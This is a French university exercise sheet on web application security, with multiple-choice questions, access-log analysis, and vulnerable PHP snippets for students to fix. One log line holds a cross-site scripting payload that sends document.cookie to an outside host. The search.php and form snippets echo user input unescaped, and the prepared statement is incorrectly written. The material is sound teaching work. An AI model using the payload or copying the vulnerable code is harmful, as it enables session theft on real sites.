Vous êtes sur la page 1sur 3

Elément : Sécurité des applications

Niveau : 4ème année IIR


Année : 2023/2024

TD N° 1

Exercice 1
1. Qu'est-ce que la "vulnérabilité"?
a. La quantification de la possibilité de subir des dommages
b. L'existence d'une possibilité d'exploitation délibérée ou involontaire d'une faiblesse de l'application
c. L'ensemble des ressources nécessaires au fonctionnement de l'application web
d. L'exploitation d'une vulnérabilité pour causer un dommage à l'application web

2. Que représente la "menace" ?


a. L'exploitation d'une faiblesse de l'application
b. L'existence d'une possibilité d'exploitation délibérée ou involontaire d'un vulnérabilité
c. Toute action empêchant l'exploitation d'une vulnérabilité
d. L'ensemble des ressources nécessaires au fonctionnement de l'application web

3. Quel terme illustre le mieux l'exploitation délibérée d'une faiblesse dans une application web?
a. Risque
b. Exploit
c. Vulnérabilité
d. Menace

4. Qu'est-ce que la confidentialité des données vise à protéger dans une application web?
a. Les informations publiques
b. Les utilisateurs autorisés
c. Les informations stockées dans la base de données
d. Les données en transit sur le réseau

5. Quelles techniques peuvent être utilisées pour assurer la confidentialité des données?
a. Contrôle de qualité, cryptographie
b. Partage sur les réseaux sociaux, analyse de données
c. Sauvegarde des fichiers, réinitialisation des paramètres
d. Contrôle d’accès, cryptographie

6. Quel élément l'intégrité des données d'une application web cherche-t-elle à protéger?
a. La vitesse du réseau
b. La taille des données
c. La modifiabilité des données
d. La couleur des données

7. Quels outils peuvent aider à garantir l'intégrité des données?


a. Contrôle de qualité, cryptographie
b. Planification de projet, gestion des ressources
c. Contrôle d’accès, hachage cryptographique
d. Sauvegarde des fichiers, réinitialisation des paramètres

8. Quelle est la principale différence entre les attaques XSS stockées et les attaques XSS réfléchies ?

9. Que utilise un serveur pour récupérer les données de session stockées côté client ?

10. Décrivez la quatrième étape d'une attaque, "Propager", et son objectif.

Exercice 2
Vous êtes en charge de la correction d'un problème de sécurité. Nous sommes dans la phase d'analyse, vous devez identifier
un problème. Dans un premier temps, vous devez analyser les logs d'accès à votre application :

127.0.0.1 - frank [10/Oct/2024:13:55:36 -0700] "GET /apache_pb.gif HTTP/1.0" 200 2326


127.0.0.1 - frank [10/Oct/2024:13:55:36 -0700] "GET /favicon.ico HTTP/1.0" 404 209
192.168.1.1 - - [10/Oct/2024:13:55:36 -0700] "GET /index.html HTTP/1.0" 200 2761
192.168.1.4 - - [10/Oct/2024:13:55:36 -0700] "GET /search?q=demo HTTP/1.0" 200 512
192.168.1.4 - - [10/Oct/2024:13:55:36 -0700] "GET /facture?id=8987 HTTP/1.0" 200 512
192.168.1.4 - - [10/Oct/2024:13:55:36 -0700] "GET /facture?id=8988 HTTP/1.0" 404 512
192.168.1.4 - - [10/Oct/2024:13:55:36 -0700] "GET /facture?id=8989 HTTP/1.0" 404 512
192.168.1.4 - - [10/Oct/2024:13:55:36 -0700] "GET /facture?id=8990 HTTP/1.0" 404 512
192.168.1.4 - - [10/Oct/2024:13:55:36 -0700] "GET /facture?id=8991 HTTP/1.0" 404 512
192.168.1.4 - - [10/Oct/2024:13:55:36 -0700] "GET /facture?id=8991 HTTP/1.0" 404 512
192.168.1.4 - - [10/Oct/2024:13:55:36 -0700] "GET /facture?id=8991 HTTP/1.0" 404 512
192.168.1.4 - - [10/Oct/2024:13:55:36 -0700] "GET /facture?id=8986 HTTP/1.0" 200 512
192.168.1.2 - - [10/Oct/2024:13:55:36 -0700] "POST /form.php HTTP/1.0" 200 183
192.168.1.3 - - [10/Oct/2024:13:55:36 -0700] "GET /secret.html HTTP/1.0" 403 289

1. Avez-vous identifié un problème de sécurité ? Si oui, lequel ?

Exercice 3
Observer les logs d'accès à votre application :

127.0.0.1 - frank [10/Oct/2024:13:55:36 -0700] "GET /apache_pb.gif HTTP/1.0" 200 2326


127.0.0.1 - frank [10/Oct/2024:13:55:36 -0700] "GET /favicon.ico HTTP/1.0" 404 209
192.168.1.1 - - [10/Oct/2024:13:55:36 -0700] "GET /index.html HTTP/1.0" 200 2761
192.168.1.4 - - [10/Oct/2024:13:55:36 -0700] "GET
/search.php?query=<script>document.location='http://192.168.1.4.com/?c='+document.cookie</script>
HTTP/1.0" 200 512
192.168.1.2 - - [10/Oct/2024:13:55:36 -0700] "POST /form.php HTTP/1.0" 200 183
192.168.1.3 - - [10/Oct/2024:13:55:36 -0700] "GET /secret.html HTTP/1.0" 403 289

1. Les logs vous semblent-ils suspects ? Si oui, pourquoi ?


2. Corriger le code de la page search.php pour éviter cette faille.
<?php
$query = $_GET['query'];
echo "Résultat de la recherche pour $query";
$pdo->prepare("SELECT * FROM articles WHERE title LIKE '%?%'");
$pdo->execute([$query]);
$result = $pdo->fetchAll(PDO::FETCH_ASSOC);

foreach ($result as $article) {


echo "<h2>$article['title']</h2>";
echo "<p>$article['content']</p>";
}
?>

Exercice 4
L'auditeur a trouvé une faille de type XSS (Cross Site Scripting). Il a réussi à afficher une boîte de dialogue sur le navigateur
de l'utilisateur.

Le code source ou la faille se trouve est le suivant :

<?php
if (isset($_POST['name']) && isset($_POST['email'])) {
$name = $_POST['name'];
$email = $_POST['email'];
echo "<h2>Bonjour $name</h2>";
echo "<p>Votre email est $email</p>";
}
?>
<div class="container">
<h1>Exercice 1</h1>
<p>Vous devez corriger la faille XSS</p>
<form action="index.php" method="post">
<div class="form-group">
<label for="name">Nom</label>
<input type="text" class="form-control" id="name" name="name" placeholder="Nom">
</div>
<div class="form-group">
<label for="email">Email</label>
<input type="email" class="form-control" id="email" name="email" placeholder="Email">
</div>
<button type="submit" class="btn btn-primary">Envoyer</button>
</form>
</div>

1. Proposez une solution pour corriger cette faille.

Vous aimerez peut-être aussi